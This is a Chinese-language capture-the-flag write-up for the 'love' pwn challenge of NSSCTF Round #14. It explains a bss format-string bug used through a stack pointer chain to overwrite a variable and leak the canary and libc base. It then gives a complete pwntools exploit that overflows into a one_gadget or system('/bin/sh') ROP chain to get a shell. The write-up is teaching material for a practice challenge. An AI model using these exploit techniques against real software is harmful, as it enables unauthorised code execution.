NSSCTF ROUND#14
love
0x01
程序开启NX和canary保护
vuln函数中存在栈溢出
变量v4 = 555,v5 = 520
read函数读入0x40字节,在printf处有格式化字符串漏洞
需要注意buf为bss段变量,非栈格式化字符串漏洞不能直接修改栈上的值,需要通过二级指针,即栈链间接修改
思路:
- 利用格式化字符串漏洞任意写修改让v4=v5,进入vuln函数
- 利用格式化字符串泄露canary和__libc_start_main函数真实地址,计算出libc基址
- 构造pay覆盖返回地址为og或system rop链getshell
0x02
第一步
将v4写为520。如图在栈偏移为3的地方有一个栈链:0x7ffe9c35d798->0x7ffe9c35d788<-0x22b,可以用来修改0x22b为0x208
这里可构造pay为
pay = ‘%’+str(8)+’c’+’%9$hhn’
或者
pay = ‘%’+str(520)+’c’+’%9$hhn’ (也可以直接n不用hhn)
第二步
泄露canary 和 __libc_start_main地址
这里需要先patchelf再调试确定偏移
这题不仅要patch掉libc和ld,还要再patchelf –replace-needed libpthread.so.0 ./libpthread-2.31.so ./binary
确定canary的偏移为9+6 = 15;__libc_start_main+243便宜为11+6 = 17
pay += ‘-%15$p-%17$p-‘
0x03
覆盖返回地址为one_gadget,或者调用system函数
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p = process("./pwn")
#p = remote('node4.anna.nssctf.cn',28157)
sda = lambda delim,data :p.sendafter(delim,data)
sd = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))
ra = lambda :p.interactive()
def get_addr64() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr32() : return u32(p.recvuntil(b'\xf7')[-4:])
#gdb.attach(p)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pay = '%'+str(520)+'c'+'%9$hhn'
pay += '-%15$p-%17$p-'
gdb.attach(p)
sla(b'Toka\n',pay)
ru('-')
#泄露cannary
canary = int(ru('-'),16)
#libc
libc_base = int(ru('-'),16)-243-libc.sym['__libc_start_main']
pop_rdi = 0x00000000004013f3
#pay=b'A'*0x28+p64(canary)+b'A'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['vuln'])
#sla('level\n',pay)
#libcbase = get_addr64()-libc.sym['puts']
#lg('libcbase',libcbase)
lg('canary',canary)
lg('libc_base',libc_base)
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()
lg('system',system_addr)
lg('binsh',bin_sh_addr)
ru('level\n')
ret =0x000000000040101a
og = [0xe3afe,0xe3b01,0xe3b04]
pay = b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(og[1]+libc_base)
#pay = b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
sl(pay)
ra()